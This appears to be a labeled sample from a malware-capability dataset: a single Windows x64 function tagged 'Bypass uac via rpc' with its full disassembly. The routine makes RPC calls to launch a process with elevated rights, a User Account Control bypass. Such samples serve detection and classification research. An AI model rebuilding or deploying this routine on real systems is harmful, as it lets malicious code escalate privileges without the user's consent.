Function at 0x140001240
Capabilities:
Bypass uac via rpc

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x190
mov rax, qword [0x140052010]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov r14, rcx
mov rbx, qword [rsp + 0x1f8]
xor sil, sil
xor r15d, r15d
mov qword [r11 - 0x118], r15
mov dword [r11 - 0x78], r15d
test rbx, rbx
je 0x140001295
mov qword [rbx], r15
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
lea rdi, [rsp + 0xa0]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rsp + 0x148]
mov ecx, 0x38
rep stosb byte [rdi], al
mov dword [rsp + 0x16c], 1
mov word [rsp + 0x170], r15w
lea rdi, [rsp + 0xc0]
mov ecx, 0x70
rep stosb byte [rdi], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x88], r15
lea rax, [rsp + 0x88]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ncalrpc
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov edi, eax
test eax, eax
je 0x140001330
lea rcx, str.RpcStringBindingComposeW_Failed:_d_n
mov edx, eax
call fcn.1400011e0
jmp 0x140001599
lea rdx, [0x140054cc8]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
mov edi, eax
lea rcx, [rsp + 0x88]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test edi, edi
je 0x14000136c
lea rcx, str.RpcBindingFromStringBindingW_Failed:_d_n
mov edx, edi
call fcn.1400011e0
jmp 0x140001599
mov qword [rsp + 0x138], 1
mov dword [rsp + 0x144], 3
mov dword [rsp + 0x140], r15d
lea rax, [rsp + 0x138]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor edx, edx
lea r9d, [rdx + 0xa]
lea r8d, [rdx + 6]
mov rcx, qword [0x140054cc8]
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov edi, eax
test eax, eax
je 0x1400013d2
lea rcx, str.RpcBindingSetAuthInfoExW_Failed:_d_n
mov edx, eax
call fcn.1400011e0
jmp 0x140001599
lea rdx, [0x14004b240]
mov rcx, qword [0x140054cc8]
call qword [sym.imp.RPCRT4.dll_RpcEpResolveBinding]
mov edi, eax
test eax, eax
je 0x1400013ff
lea rcx, str.RpcEpResolveBinding_Failed:_d_n
mov edx, eax
call fcn.1400011e0
jmp 0x140001599
mov edx, 0x70
lea rcx, [rsp + 0xc0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncInitializeHandle]
mov edi, eax
test eax, eax
jne 0x140001448
mov dword [rsp + 0xec], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xf0], rax
test rax, rax
jne 0x140001448
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x140001599
mov rax, qword [0x140054cc8]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x68], 0xffffffff
mov qword [rsp + 0x60], r15
lea rcx, [rsp + 0x148]
mov qword [rsp + 0x58], rcx
lea rcx, str.WinSta0Default
mov qword [rsp + 0x50], rcx
lea rcx, str.c:windows
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x40], 0x400
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xc0]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14004b3d0]
call qword [sym.imp.RPCRT4.dll_Ndr64AsyncClientCall]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x140001502
lea ecx, [rdi - 1]
call qword [sym.imp.RPCRT4.dll_RpcRaiseException]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xc0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncCompleteCall]
test eax, eax
jne 0x140001562
cmp qword [rsp + 0x90], 0
jne 0x140001562
test rbx, rbx
je 0x140001557
mov rax, qword [rsp + 0xa0]
mov qword [rbx], rax
mov rax, qword [rsp + 0xa8]
mov qword [rbx + 8], rax
mov eax, dword [rsp + 0xb0]
mov dword [rbx + 0x10], eax
mov eax, dword [rsp + 0xb4]
mov dword [rbx + 0x14], eax
mov sil, 1
mov byte [rsp + 0x80], sil
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x14000157d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xf0], r15
lea rcx, [rsp + 0x98]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
jmp 0x140001599
movzx eax, sil
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.140011d30
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret